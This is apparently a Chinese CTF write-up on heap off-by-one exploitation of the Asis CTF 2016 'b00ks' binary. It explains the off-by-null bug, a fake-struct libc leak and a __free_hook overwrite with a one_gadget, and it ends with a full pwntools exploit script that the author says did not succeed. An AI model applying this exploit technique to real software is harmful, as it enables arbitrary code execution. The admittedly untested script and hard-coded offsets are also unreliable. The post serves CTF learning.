堆利用之off-by-one


[TOC]

漏洞原理

off by one往往是由于程序对边界检查不严格而导致多写入一个字节。

eg:这段代码忽略了strcpy函数最后会写入一个\x00,所以导致写入了25个字节。当然这里也存在栈溢出漏洞。

int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
        strcpy(chunk1,buffer);
    }
    return 0;
}

例题

Asis CTF 2016 b00ks

程序只关闭了canary保护;

程序一开始会要求输入author name,然后有6个功能,可以自己走一遍程序流程;

程序流程分析

main函数如下图,函数我都重命名了

edit_author_name

我们进入edit_author_name函数,最开始会调用一遍这个函数也就是让我们输入author name,这个函数调用了sub_9F5函数,我们跟进看看;

在edit_author_name函数中sub_9F5被传入off_202018,32两个参数,我们进入sub_9F5函数

​ 这里存在off by null漏洞

create

逻辑自己看吧,注释都写了

这里sub_B24函数如下:off_202010存放的结构体指针首地址

这里很有意思,在create函数中,我们知道了结构体的指针放在off_202010处,而我们在edit_author_name函数中知道了author name存储在off_202018中,并且可以溢出一个字节为NULL字节

我们在看下off_202010 和 off_202018的位置关系:

所以我们可以得到以下内存布局:所以我们可以通过填充author name去覆盖第一个book_ptr的低字节为NULL

delete

edit

show

漏洞利用思路

先回到这个图吧

  • 一开始我们写入author name为32个字节

  • 然后我们创建两个book,这里对name和des的大小有要求

    • 对于第一个book,name的大小应该使得des_ptr的低字节为00;这里我的环境计算出name的大小应当为64
    • 对于第二个book,name和des的大小应该接近top_chunk大小,使得name和des的chunk由mmp分配
  • 当我们创建完book后,这时我们show的话,第一个book的book_ptr也会被输出,原因应该很好理解吧;上个图吧

13

  • 然后我们在edit_author_name去把author修改为32个字节,这时book1_ptr的低字节就会被覆盖为低字节;上个图吧

这里我们可以查看一下两本书的结构体:

​ 我们可以看到book1结构体中des_ptr的值,是不是很熟悉!!!在上面我们把book1_ptr给修改成了des_ptr,那么问题就来了

此时内存布局如下:所以我们可以提前在book1中的des中伪造id name_ptr des_ptr des_size,布置的值如下:

  • id = 1
  • name_ptr 指向 book2的name_ptr
  • des_ptr 指向 book2的des_ptr
  • des_size = 0xffff

至于为啥向上面那样伪造的原因如下:伪造完后,内存布局如下:

  • 那么我们如果输出book1的name,则会输出book2的name_ptr指针;如果输出book1的des,则会输出book2的des_ptr指针。
  • 那么我们如果修改book1的des,则会修改book2的des_ptr指针。所以我们可以把book2的des_ptr指针修改为__free_hook
    • 那么我们如果在去修改book2的des,那么book2会根据book2的des_ptr指针去修改;因为我们已经把book2的des_ptr指针修改为了__free_hook,所以此时我们就可以把 __free_hook修改为one_gadget
  • 然后在delete即可getshell

但是我们要获得__free_hook就得泄漏libc,如何泄漏呢?记得我们在上面把book2的name,des的值设置的接近为top_chunk的值吗?这就是为了泄漏libc的?

因为mmp分配的空间与libc的偏移是固定的,所以只要我们能够泄漏book2的name_ptr的值或者des_ptr的值就可以泄漏libc了;

那么我们如何泄漏book2的name_ptr或者des_ptr呢?在上面已经给出了方法,就是把book1的name_ptr修改为book2的name_ptr即可,那么我们如何获得name_ptr或者des_ptr呢?

在第一次我们泄漏了book1的book_ptr,我们知道book_ptr中存储的内容为id name_ptr des_ptr des_size,而book1与book2的book_ptr偏移是固定的所以很容易得到book2的name_ptr和des_ptr

这里我没有打通:因为gilbc 2.34已经废除__free_hook了

而我用glibc 2.23也没有打通,远程环境也没有找到;哎,知道思路就行了

exp:

from pwn import *
context.binary = './pwn'
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc


def cmd(index):
    io.sendlineafter(b'> ', str(index).encode())

def create(nameSize, name, desSize, des):
    cmd(1)
    io.sendlineafter(b'name size: ', str(nameSize).encode())
    io.sendlineafter(b'chars): ', name)
    io.sendlineafter(b'size: ', str(desSize).encode())
    io.sendlineafter(b'description: ', des)

def delete(index):
    cmd(2)
    io.sendlineafter(b'delete: ', str(index).encode())

def edit(index, des):
    cmd(3)
    io.sendlineafter(b'edit: ', str(index).encode())
    io.sendlineafter(b'description: ', des)

def show(index):
    cmd(4)
    for i in range(index):
        io.recvuntil(b'ID: ')
        Id = io.recvline()[:-1]
        io.recvuntil(b'Name: ')
        Name = io.recvline()[:-1]
        io.recvuntil(b'Description: ')
        Des = io.recvline()[:-1]
        io.recvuntil(b'Author: ')
        Author = io.recvline()[:-1]
    return Id, Name, Des, Author

def change(name):
    cmd(5)
    io.sendlineafter(b'name: ', name)


io.sendlineafter(b'name: ', b'A'*32)

create(64, b'A', 64, b'A')
create(135168, b'B', 135168, b'B')

_, _, _, Author = show(1)

book1 = u64(Author[32:].ljust(8, b'\x00'))
print("book1:", hex(book1))

book1_des = p64(1) + p64(book1+0x38) + p64(book1+0x40) + p64(0xffff)
edit(1, book1_des)

change(b'A'*32)
_, book2_name_ptr, book2_des_ptr, _ = show(1)


book2_name_addr = u64(book2_name_ptr.ljust(8, b'\x00'))
book2_des_addr = u64(book2_des_ptr.ljust(8, b'\x00'))

print("book2_name_addr:", hex(book2_name_addr))
print("book2_des_addr:", hex(book2_des_addr))

libc_base = book2_name_addr - 3530768

"""
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
0xebcf5 execve("/bin/sh", r10, rdx)
0xebcf8 execve("/bin/sh", rsi, rdx)
"""

free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0xebcf5

print("free_hook:", hex(free_hook))

edit(1, p64(free_hook))
edit(2, p64(one_gadget))

delete(2)

io.interactive()

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录